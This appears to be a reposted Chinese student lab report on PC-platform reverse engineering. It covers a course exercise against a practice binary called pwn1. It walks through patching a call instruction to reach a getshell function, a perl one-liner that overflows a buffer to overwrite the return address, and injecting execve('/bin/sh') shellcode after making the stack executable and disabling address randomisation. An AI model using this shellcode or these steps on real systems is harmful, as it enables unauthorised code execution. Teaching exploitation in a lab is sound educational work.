zoukankan      html  css  js  c++  java
  • 20155231 邵煜楠《网络对抗技术》实验一 PC平台逆向破解

    20155231 邵煜楠《网络对抗技术》实验一 PC平台逆向破解

    实验内容

    1. 直接修改程序机器指令,改变程序执行流程;
    2. 通过构造输入参数,造成BOF攻击,改变程序执行流;
    3. 注入Shellcode并执行。

    实验步骤

    一:
    • 下载目标文件pwn1,反汇编
      利用
    objdump -d pwn1
    

    对pwn1进行反汇编;

    • vi pwn1打开pwn1;
    • 利用%!xxd将文件转换成16进制显示,利用/e8 d7ff ffff进行搜索将d7改为c3(计算“0804847d(getshell)-08048491(foo)+d7”得c3ffffff),利用%!xxd -r转回之前,再次进行反汇编;

    二:
    • 编辑输入为
    perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
    

    ,可用xxd input查看input,随后运行pwn1;

    三:
    • 输入下面的指令
    execstack -s pwn1    //设置堆栈可执行
    execstack -q pwn1    //查询文件的堆栈是否可执行
    more /proc/sys/kernel/randomize_va_space 
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    more /proc/sys/kernel/randomize_va_space
    
    • 构造输入
    perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
    
    • 输入(cat input_shellcode;cat) | ./pwn1,运行pwn1,然后打开顶一个终端,输入ps -ef | grep pwn1找到pwn1的进程号
    • 输入gdb,进入gdb调试,输入进程号
    • 然后输入info r,查看栈的地址
    • 使用x/16x 0xffffd33c查看其存放内容
    • 由我们构造的input_shellcode可知,shellcode就在其后,修改为这个地址;
    • 输入
    perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x10xd3xffxffx00"' > input_shellcode
    

    重新构造input


  • 相关阅读:
    2.5亿!华为成立新公司!
    两年半换第 4 份工作,做个总结
    不懂什么叫编程?
    Google 为什么把几十亿行代码放在一个库?
    IntelliJ 平台 2020 年路线图
    别找了,这是 Pandas 最详细教程了
    MongoDB是什么?看完你就知道了!
    有了这个神器,轻松用 Python 写 APP !
    整理出来几个比较实用的代码对比工具
    学习进度条 第六十一-七十五天 SpringMVC学习笔记
  • 原文地址:https://www.cnblogs.com/javasyn/p/8598297.html
Copyright © 2011-2022 走看看